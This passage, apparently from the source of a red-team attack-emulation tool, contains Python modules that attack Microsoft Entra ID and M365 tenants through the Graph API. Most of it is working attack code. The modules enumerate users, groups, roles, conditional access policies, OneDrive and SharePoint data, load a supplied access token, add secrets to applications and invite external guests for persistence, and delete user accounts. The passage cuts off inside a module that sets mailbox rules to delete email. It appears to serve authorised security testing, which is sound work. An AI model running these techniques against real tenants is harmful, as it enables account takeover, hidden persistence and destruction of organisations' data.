app.get('appId', 'N/A') 54 | }) 55 | break 56 | else: 57 | for app in app_recon: 58 | apps_enumerated.append({ 59 | 'display_name' : app.get('displayName', 'N/A'), 60 | 'id' : app.get('id', 'N/A'), 61 | 'app_id' : app.get('appId', 'N/A'), 62 | }) 63 | 64 | if apps_enumerated: 65 | return ExecutionStatus.SUCCESS, { 66 | "message": f"Successfully enumerated {len(apps_enumerated)} apps", 67 | "value": apps_enumerated 68 | } 69 | else: 70 | return ExecutionStatus.SUCCESS, { 71 | "message": "No applications found in the tenant", 72 | "value": [] 73 | } 74 | except Exception as e: 75 | return ExecutionStatus.FAILURE, { 76 | "error": str(e), 77 | "message": "Failed to recon applications in tenant" 78 | } 79 | 80 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 81 | return { 82 | "permission_id": {"type": "str", "required": False, "default":None, "name": "Permission ID", "input_field_type" : "text"}, 83 | "access_token": {"type": "str", "required": False, "default":None, "name": "Access Token", "input_field_type" : "text"} 84 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_cap.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateCAP(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1518.001", 12 | technique_name="Software Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Enumerate Conditional Access Policies", "Enumerates conditional access policies in microsoft tenant", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate conditional access policies in tenant" 33 | } 34 | 35 | if raw_response: 36 | output = [({ 37 | 'display_name' : cap_info.get('displayName', 'N/A'), 38 | 'id' : cap_info.get('id', 'N/A'), 39 | 'description' : cap_info.get('description', 'N/A'), 40 | 'state' : cap_info.get('state', 'N/A'), 41 | 'conditions' : cap_info.get('conditions', 'N/A'), 42 | 'grant_controls' : cap_info.get('grantControls', 'N/A'), 43 | }) for cap_info in raw_response] 44 | 45 | return ExecutionStatus.SUCCESS, { 46 | "message": f"Successfully enumerated {len(output)} conditional access policies", 47 | "value": output 48 | } 49 | 50 | except Exception as e: 51 | return ExecutionStatus.FAILURE, { 52 | "error": str(e), 53 | "message": "Failed to enumerate conditional access policies in tenant" 54 | } 55 | 56 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 57 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_directory_roles.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateDirectoryRoles(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1069.003", 12 | technique_name="Permission Groups Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name="Cloud Groups" 15 | ) 16 | ] 17 | super().__init__("Enumerate Directory Roles", "Enumerates directory roles in microsoft tenant", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/directoryRoles" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate directory roles in tenant" 33 | } 34 | 35 | output = [] 36 | if raw_response: 37 | output = [({ 38 | 'display_name' : role_info.get('displayName', 'N/A'), 39 | 'description' : role_info.get('description', 'N/A'), 40 | 'role_template_id' : role_info.get('roleTemplateId', 'N/A'), 41 | 'id' : role_info.get('id', 'N/A') 42 | }) for role_info in raw_response] 43 | 44 | return ExecutionStatus.SUCCESS, { 45 | "message": f"Successfully enumerated {len(output)} directory roles", 46 | "value": output 47 | } 48 | else: 49 | return ExecutionStatus.SUCCESS, { 50 | "message": f"No directory roles found", 51 | "value": output 52 | } 53 | 54 | except Exception as e: 55 | return ExecutionStatus.FAILURE, { 56 | "error": str(e), 57 | "message": "Failed to enumerate directory roles" 58 | } 59 | 60 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 61 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_groups.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateGroups(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1069.003", 12 | technique_name="Permission Groups Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name="Cloud Groups" 15 | ) 16 | ] 17 | super().__init__("Enumerate Groups", "Enumerates groups in Entra ID", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/groups" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate groups in tenant" 33 | } 34 | 35 | output = [] 36 | if raw_response: 37 | output = [({ 38 | 'display_name' : application_info.get('displayName', 'N/A'), 39 | 'id' : application_info.get('id', 'N/A'), 40 | 'description' : application_info.get('description', 'N/A'), 41 | 'assignable_role' : application_info.get('isAssignableToRole', 'N/A'), 42 | 'membership_rule' : application_info.get('membershipRule', 'N/A'), 43 | 'security_enabled' : application_info.get('securityEnabled', 'N/A'), 44 | 'visibility' : application_info.get('visibility', 'N/A') 45 | }) for application_info in raw_response] 46 | 47 | return ExecutionStatus.SUCCESS, { 48 | "message": f"Successfully enumerated {len(output)} groups", 49 | "value": output 50 | } 51 | else: 52 | return ExecutionStatus.SUCCESS, { 53 | "message": f"No groups found", 54 | "value": output 55 | } 56 | 57 | except Exception as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to enumerate groups in tenant" 61 | } 62 | 63 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 64 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_one_drive.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateOneDrive(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1526", 12 | technique_name="Cloud Service Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Enumerate Users One Drive", "Enumerates users one drive data", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate users one drive data" 33 | } 34 | 35 | output = [] 36 | if raw_response: 37 | output = [({ 38 | 'name' : item_info.get('name', 'N/A'), 39 | 'id' : item_info.get('id', 'N/A'), 40 | 'web_url' : item_info.get('webUrl', 'N/A'), 41 | 'size' : item_info.get('size', 'N/A'), 42 | 'created_by' : item_info.get('createdBy', 'N/A') 43 | }) for item_info in raw_response] 44 | 45 | return ExecutionStatus.SUCCESS, { 46 | "message": f"Successfully enumerated users one drive data", 47 | "value": output 48 | } 49 | else: 50 | return ExecutionStatus.SUCCESS, { 51 | "message": f"No one drive data found", 52 | "value": output 53 | } 54 | 55 | except Exception as e: 56 | return ExecutionStatus.FAILURE, { 57 | "error": str(e), 58 | "message": "Failed to enumerate users one drive data" 59 | } 60 | 61 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 62 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_sp_site.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateSPSites(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1526", 12 | technique_name="Cloud Service Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | super().__init__("Enumerate Sharepoint Sites", "Enumerates groups in Entra ID", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/sites" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate SharePoint sites" 33 | } 34 | output = [] 35 | if raw_response: 36 | output = [({ 37 | 'display_name' : sp_site_info.get('displayName', 'N/A'), 38 | 'web_url' : sp_site_info.get('webUrl', 'N/A'), 39 | 'personal_site' : sp_site_info.get('isPersonalSite', 'N/A'), 40 | 'site_collection' : sp_site_info.get('siteCollection', 'N/A'), 41 | 'root' : sp_site_info.get('root', 'N/A'), 42 | 'id' : sp_site_info.get('id', 'N/A'), 43 | }) for sp_site_info in raw_response] 44 | 45 | return ExecutionStatus.SUCCESS, { 46 | "message": f"Successfully enumerated {len(output)} SharePoint sites", 47 | "value": output 48 | } 49 | else: 50 | return ExecutionStatus.SUCCESS, { 51 | "message": f"No sites found", 52 | "value": output 53 | } 54 | 55 | 56 | except Exception as e: 57 | return ExecutionStatus.FAILURE, { 58 | "error": str(e), 59 | "message": "Failed to enumerate SharePoint sites" 60 | } 61 | 62 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 63 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_enumerate_users.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraEnumerateUsers(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1087.004", 12 | technique_name="Account Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name="Cloud Account" 15 | ) 16 | ] 17 | super().__init__("Enumerate Users", "Enumerates users in Entra ID", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | endpoint_url = "https://graph.microsoft.com/v1.0/users/" 24 | 25 | raw_response = GraphRequest().get(url = endpoint_url) 26 | 27 | if 'error' in raw_response: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"error_code" :raw_response.get('error').get('code'), 30 | "error_detail" : raw_response.get('error').get('message') 31 | }, 32 | "message": "Failed to enumerate users in tenant" 33 | } 34 | 35 | output = [] 36 | if raw_response: 37 | output = [({ 38 | 'display_name' : user_info.get('displayName', 'N/A'), 39 | 'upn' : user_info.get('userPrincipalName', 'N/A'), 40 | 'mail' : user_info.get('mail', 'N/A'), 41 | 'job_title' : user_info.get('jobTitle', 'N/A'), 42 | 'mobile_phone' : user_info.get('mobilePhone', 'N/A'), 43 | 'office_ocation' : user_info.get('officeLocation', 'N/A'), 44 | 'id' : user_info.get('id', 'N/A'), 45 | }) for user_info in raw_response] 46 | 47 | return ExecutionStatus.SUCCESS, { 48 | "message": f"Successfully enumerated {len(output)} users", 49 | "value": output 50 | } 51 | else: 52 | return ExecutionStatus.SUCCESS, { 53 | "message": f"No users found", 54 | "value": output 55 | } 56 | 57 | except Exception as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to enumerate users in tenant" 61 | } 62 | 63 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 64 | return {} -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_establish_access_with_token.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.entra_token_manager import EntraTokenManager 5 | 6 | @TechniqueRegistry.register 7 | class EntraEstablishAccessWithToken(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1078.004", 12 | technique_name="Valid Accounts", 13 | tactics=["Defense Evasion", "Persistence", "Privilege Escalation", "Initial Access"], 14 | sub_technique_name="Cloud Accounts" 15 | ), 16 | MitreTechnique( 17 | technique_id="T1550.001", 18 | technique_name="Use Alternate Authentication Material", 19 | tactics=["Defense Evasion", "Lateral Movement"], 20 | sub_technique_name="Application Access Token" 21 | ) 22 | ] 23 | super().__init__("Establish Access With Token", "Adds access token to app to access target environment and use in future actions", mitre_techniques) 24 | 25 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 26 | self.validate_parameters(kwargs) 27 | 28 | try: 29 | access_token: str = kwargs.get('access_token', None) 30 | set_as_active_token: bool = kwargs.get('set_as_active_token', False) 31 | 32 | if access_token in [None, ""]: 33 | return ExecutionStatus.FAILURE, { 34 | "error": "Invalid Technique Input", 35 | "message": "Invalid Technique Input" 36 | } 37 | 38 | if set_as_active_token in [None, ""]: 39 | set_as_active_token = False 40 | 41 | try: 42 | # Decode token information 43 | token_info = EntraTokenManager().decode_jwt_token(access_token) 44 | except Exception as e: 45 | return ExecutionStatus.FAILURE, { 46 | "error": str(e), 47 | "message": "Failed to decode JWT access token. Check token." 48 | } 49 | 50 | # Add token to app 51 | EntraTokenManager().add_token(access_token) 52 | 53 | # Set token active if selected 54 | if set_as_active_token: 55 | EntraTokenManager().set_active_token(access_token) 56 | 57 | return ExecutionStatus.SUCCESS, { 58 | "message": f"Successfully added access to app", 59 | "value": { 60 | "token_added" : True, 61 | "token_active" : set_as_active_token, 62 | "token_details" : token_info 63 | } 64 | } 65 | 66 | except Exception as e: 67 | return ExecutionStatus.FAILURE, { 68 | "error": str(e), 69 | "message": "Failed to add token to app" 70 | } 71 | 72 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 73 | return { 74 | "access_token": {"type": "str", "required": True, "default":None, "name": "Access Token", "input_field_type" : "text"}, 75 | "set_as_active_token": {"type": "bool", "required": False, "default":False, "name": "Set as Active Token?", "input_field_type" : "bool"}, 76 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_generate_app_credentials.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraGenerateAppCredentials(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1098.001", 12 | technique_name="Account Manipulation", 13 | tactics=["Persistence", "Privilege Escalation"], 14 | sub_technique_name="Additional Cloud Credentials" 15 | ) 16 | ] 17 | azure_trm_technique = [ 18 | AzureTRMTechnique( 19 | technique_id="AZT405.3", 20 | technique_name="Azure AD Application", 21 | tactics=["Privilege Escalation"], 22 | sub_technique_name="Application Registration Owner" 23 | ) 24 | ] 25 | super().__init__("Generate App Credentials", "Generates new secret for an application in Entra ID that can be used for persistence or privilege escalation", mitre_techniques) 26 | 27 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 28 | self.validate_parameters(kwargs) 29 | 30 | try: 31 | app_id: str = kwargs.get('app_id', None) 32 | cred_display_name: str = kwargs.get('cred_display_name', None) 33 | 34 | if app_id in [None, ""] or cred_display_name in [None, ""]: 35 | return ExecutionStatus.FAILURE, { 36 | "error": "Invalid Technique Input", 37 | "message": "Invalid Technique Input" 38 | } 39 | 40 | endpoint_url = f"https://graph.microsoft.com/v1.0/applications/{app_id}/addPassword" 41 | 42 | # Create request payload 43 | data = { 44 | "passwordCredential": { 45 | "displayName": cred_display_name 46 | } 47 | } 48 | 49 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 50 | 51 | # Request successfull 52 | if 200 <= raw_response.status_code < 300: 53 | return ExecutionStatus.SUCCESS, { 54 | "message": f"Successfully generated application credentials", 55 | "value": { 56 | "key_id" : raw_response.json().get("keyId", "N/A"), 57 | "secret" : raw_response.json().get("secretText", "N/A"), 58 | "display_name" : raw_response.json().get("displayName", "N/A"), 59 | "custom_key_id" : raw_response.json().get("customKeyIdentifier", "N/A"), 60 | "start_date_time" : raw_response.json().get("startDateTime", "N/A"), 61 | "end_date_time" : raw_response.json().get("endDateTime", "N/A") 62 | } 63 | } 64 | 65 | # Request failed 66 | else: 67 | return ExecutionStatus.FAILURE, { 68 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 69 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 70 | }, 71 | "message": "Failed to generate credential for application" 72 | } 73 | 74 | except Exception as e: 75 | return ExecutionStatus.FAILURE, { 76 | "error": str(e), 77 | "message": "Failed to generate credential for application" 78 | } 79 | 80 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 81 | return { 82 | "app_id": {"type": "str", "required": True, "default":None, "name": "Application Object ID", "input_field_type" : "text"}, 83 | "cred_display_name": {"type": "str", "required": True, "default":None, "name": "New Credential Display Name", "input_field_type" : "text"} 84 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_invite_external_user.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraInviteExternalUser(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1136.003", 12 | technique_name="Create Account", 13 | tactics=["Persistence"], 14 | sub_technique_name="Cloud Account" 15 | ) 16 | ] 17 | super().__init__("Invite External User", "Invites any external user to grant access to the current tenant allowing persistence", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | external_user_email: str = kwargs.get('external_user_email', None) 24 | invitation_message: str = kwargs.get('invitation_message', None) 25 | 26 | if external_user_email in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": "Invalid Technique Input", 29 | "message": "Invalid Technique Input" 30 | } 31 | 32 | if invitation_message in [None, ""]: 33 | invitation_message = "Welcome to the organization! Visit the link to accept the invitation." 34 | 35 | 36 | endpoint_url = f"https://graph.microsoft.com/v1.0/invitations" 37 | 38 | # Create request payload 39 | data = { 40 | "invitedUserEmailAddress": f"{external_user_email}", 41 | "inviteRedirectUrl": "https://myapp.contoso.com", 42 | 'sendInvitationMessage': True, 43 | 'invitedUserMessageInfo': { 44 | 'customizedMessageBody': invitation_message 45 | } 46 | } 47 | 48 | raw_response = GraphRequest().post(url = endpoint_url, data = data) 49 | 50 | # Request successfull 51 | if 200 <= raw_response.status_code < 300: 52 | return ExecutionStatus.SUCCESS, { 53 | "message": f"Successfully invited external user-{external_user_email} to tenant", 54 | "value": { 55 | 'External User' : raw_response.json().get('invitedUserEmailAddress', 'N/A'), 56 | 'invited_user_type' : raw_response.json().get('invitedUserType', 'N/A'), 57 | 'invited_user_id' : raw_response.json().get('invitedUser', 'N/A').get('id', 'N/A'), 58 | 'invitation_message' : raw_response.json().get('invitedUserMessageInfo', 'N/A').get('customizedMessageBody', 'N/A'), 59 | 'invite_redeem_url' : raw_response.json().get('inviteRedeemUrl', 'N/A'), 60 | 'invite_status' : raw_response.json().get('status', 'N/A'), 61 | } 62 | } 63 | 64 | # Request failed 65 | else: 66 | return ExecutionStatus.FAILURE, { 67 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 68 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 69 | }, 70 | "message": "Failed to invited external user to tenant" 71 | } 72 | 73 | except Exception as e: 74 | return ExecutionStatus.FAILURE, { 75 | "error": str(e), 76 | "message": "Failed to invited external user to tenant" 77 | } 78 | 79 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 80 | return { 81 | "external_user_email": {"type": "str", "required": True, "default":None, "name": "External User Email", "input_field_type" : "email"}, 82 | "invitation_message": {"type": "str", "required": True, "default":None, "name": "Invitation Message", "input_field_type" : "text"} 83 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_recon_tenant_info.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | import re 6 | import requests 7 | 8 | @TechniqueRegistry.register 9 | class EntraReconTenantInfo(BaseTechnique): 10 | def __init__(self): 11 | mitre_techniques = [ 12 | MitreTechnique( 13 | technique_id="T1526", 14 | technique_name="Cloud Service Discovery", 15 | tactics=["Discovery"], 16 | sub_technique_name=None 17 | ) 18 | ] 19 | super().__init__("Recon Tenant Info", "Recon information related to the target Microsoft tenant ", mitre_techniques) 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | 24 | try: 25 | target_domain: str = kwargs.get('target_domain', None) 26 | authenticated: str = kwargs.get('authenticated', None) 27 | 28 | if target_domain in [None,""]: 29 | return False, {"Error" : "Domain Name input required"}, None 30 | 31 | if authenticated == True: 32 | # make authenticated request 33 | endpoint_url = f"https://graph.microsoft.com/v1.0/tenantRelationships/findTenantInformationByDomainName(domainName='{target_domain}')" 34 | raw_response = GraphRequest().get(url = endpoint_url) 35 | else: 36 | # make unauthenticated request 37 | endpoint_url = f"https://login.microsoftonline.com/{target_domain}/.well-known/openid-configuration" 38 | raw_response = requests.get(endpoint_url).json() 39 | 40 | if 'error' in raw_response: 41 | return ExecutionStatus.FAILURE, { 42 | "error": {"error_code" :raw_response.get('error').get('code'), 43 | "error_detail" : raw_response.get('error').get('message') 44 | }, 45 | "message": "Failed to recon tenant information" 46 | } 47 | 48 | if authenticated == True: 49 | return ExecutionStatus.SUCCESS, { 50 | "message": f"Successfully gathered tenant information", 51 | "value": { 52 | 'display_name' : raw_response.get('displayName', 'N/A'), 53 | 'tenant_id' : raw_response.get('tenantId', 'N/A'), 54 | 'default_domain_name' : raw_response.get('defaultDomainName', 'N/A'), 55 | 'federation_brand_name' : raw_response.get('federationBrandName', 'N/A') 56 | } 57 | } 58 | else: 59 | # extract tenant id 60 | pattern = r"([a-f\d]{8}-[a-f\d]{4}-[a-f\d]{4}-[a-f\d]{4}-[a-f\d]{12})" 61 | match = re.search(pattern, raw_response['token_endpoint'], re.IGNORECASE) 62 | tenant_id = match.group(1) 63 | 64 | return ExecutionStatus.SUCCESS, { 65 | "message": f"No groups found", 66 | "value": { 67 | 'tenant_iD' : tenant_id, 68 | 'domain_name' : target_domain, 69 | 'token_endpoint' : raw_response.get('token_endpoint', 'N/A'), 70 | 'scopes_supported' : raw_response.get('scopes_supported', 'N/A') 71 | } 72 | } 73 | 74 | except Exception as e: 75 | return ExecutionStatus.FAILURE, { 76 | "error": str(e), 77 | "message": "Failed to recom tenant information" 78 | } 79 | 80 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 81 | return { 82 | "target_domain": {"type": "str", "required": True, "default":None, "name": "Target Domain", "input_field_type" : "text"}, 83 | "authenticated": {"type": "bool", "required": False, "default":False, "name": "Authenticated Attempt?", "input_field_type" : "bool"} 84 | } -------------------------------------------------------------------------------- /attack_techniques/entra_id/entra_remove_account_access.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique, AzureTRMTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class EntraRemoveAccountAccess(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1531", 12 | technique_name="Account Access Removal", 13 | tactics=["Impact"], 14 | sub_technique_name=None 15 | ) 16 | ] 17 | 18 | super().__init__("Remove Account Access", "Delete an user account in Entra ID to remove their access", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | user_id: str = kwargs.get('user_id', None) 25 | 26 | if user_id in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": "Invalid Technique Input", 29 | "message": "Invalid Technique Input" 30 | } 31 | 32 | endpoint_url = f"https://graph.microsoft.com/v1.0/users/{user_id}" 33 | 34 | raw_response = GraphRequest().delete(url = endpoint_url) 35 | 36 | # Request successfull 37 | if 200 <= raw_response.status_code < 300: 38 | return ExecutionStatus.SUCCESS, { 39 | "message": f"Successfully removed account {user_id} access", 40 | "value": { 41 | "user" : user_id, 42 | "user_deleted" : True 43 | } 44 | } 45 | 46 | # Request failed 47 | else: 48 | return ExecutionStatus.FAILURE, { 49 | "error": {"error_code" : raw_response.json().get('error').get('code', 'N/A'), 50 | "error_message" :raw_response.json().get('error').get('message', 'N/A') 51 | }, 52 | "message": "Failed to remove account access" 53 | } 54 | 55 | except Exception as e: 56 | return ExecutionStatus.FAILURE, { 57 | "error": str(e), 58 | "message": "Failed to remove account access" 59 | } 60 | 61 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 62 | return { 63 | "user_id": {"type": "str", "required": True, "default":None, "name": "Target Account UPN", "input_field_type" : "email"} 64 | } -------------------------------------------------------------------------------- /attack_techniques/gcp/__init.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/attack_techniques/gcp/__init.py -------------------------------------------------------------------------------- /attack_techniques/m365/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/attack_techniques/m365/__init__.py -------------------------------------------------------------------------------- /attack_techniques/m365/m365_deploy_email_deletion_rule.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | from core.entra.graph_request import GraphRequest 5 | 6 | @TechniqueRegistry.register 7 | class M365DeployEmailDelRule(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1564.008", 12 | technique_name="Hide Artifacts", 13 | tactics=["Defense Evasion"], 14 | sub_technique_name="Email Hiding Rules" 15 | ) 16 | ] 17 | super().__init__("Deploy Email Deletion Rule", "Sets up email deletion rule on target user mailbox", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | 22 | try: 23 | mailbox: str = kwargs.get('mailbox', None) 24 | rule_name: str = kwargs.get('rule_name', None) 25 | keywords: str = kwargs.get('keywords', None) 26 | 27 | if mailbox in [None, ""] or rule_name in [None, ""] or keywords in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": {"Error" : "Invalid Technique Input"}, 30 | "message": {"Error" : "Invalid Technique Input"} 31 | } 32 | 33 | # break input string into a list for graph input 34 | keywords = keywords.split(",") 35 | # remove any leading or trailing spaces from input 36 | for i,words in enumerate(keywords): 37 | keywords[i] = words.strip() 38 | 39 | endpoint_url = 